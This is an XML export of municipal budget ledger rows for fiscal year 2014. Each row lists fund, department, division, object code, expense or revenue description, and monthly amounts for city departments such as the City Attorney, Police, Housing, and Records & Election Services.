<row _id="9161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13500.0</total></row>
<row _id="9162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1136.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1136.0</total></row>
<row _id="9163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15283.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15283.0</total></row>
<row _id="9164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26525.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26525.0</total></row>
<row _id="9165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>135000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="9166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>221434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>221434.0</total></row>
<row _id="9167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5973.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5973.0</total></row>
<row _id="9168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="9169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23575.0</total></row>
<row _id="9170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522520.0</object><object_description>LEGAL ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="9171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1212.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>116.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1328.0</total></row>
<row _id="9172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-22045</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22045.0</total></row>
<row _id="9173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-389215</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-389215.0</total></row>
<row _id="9174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2500.0</total></row>
<row _id="9175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401470.0</object><object_description>DEVELOPMENT AGREEMENTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-125000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="9176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401550.0</object><object_description>MAP/CODE/SPECIFICATIONS SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1197.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1197.0</total></row>
<row _id="9177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401560.0</object><object_description>ZONING APPR/VARIANCE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-924566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-924566.0</total></row>
<row _id="9178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7296108.0</july><august>0</august><september>0</september><october>0</october><november>43248.0</november><december>2167</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7341523.0</total></row>
<row _id="9179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1851.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1851.0</total></row>
<row _id="9180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95000.0</total></row>
<row _id="9181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5727.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5727.0</total></row>
<row _id="9182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
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<row _id="9184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31621.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31621.0</total></row>
<row _id="9185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>765108.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>8695</december><january>-67.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>773736.0</total></row>
<row _id="9187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3782.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3782.0</total></row>
<row _id="9188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>566090.0</object><object_description>ENTERTAIN - PUBLIC GS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
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<row _id="9191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
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<row _id="9193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400260.0</object><object_description>PROP K TORCA CONVERSION TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>40000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="9194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-319046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-319046.0</total></row>
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<row _id="9197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="9198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19503.0</total></row>
<row _id="9199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="9200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="9201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="9202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="9203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="9204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="9205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>69697.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69697.0</total></row>
<row _id="9206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3510258.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>53744</december><january>-929.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3563073.0</total></row>
<row _id="9207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="9208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522520.0</object><object_description>LEGAL ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63000.0</total></row>
<row _id="9209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="9210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3152.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3152.0</total></row>
<row _id="9211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="9212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162000.0</total></row>
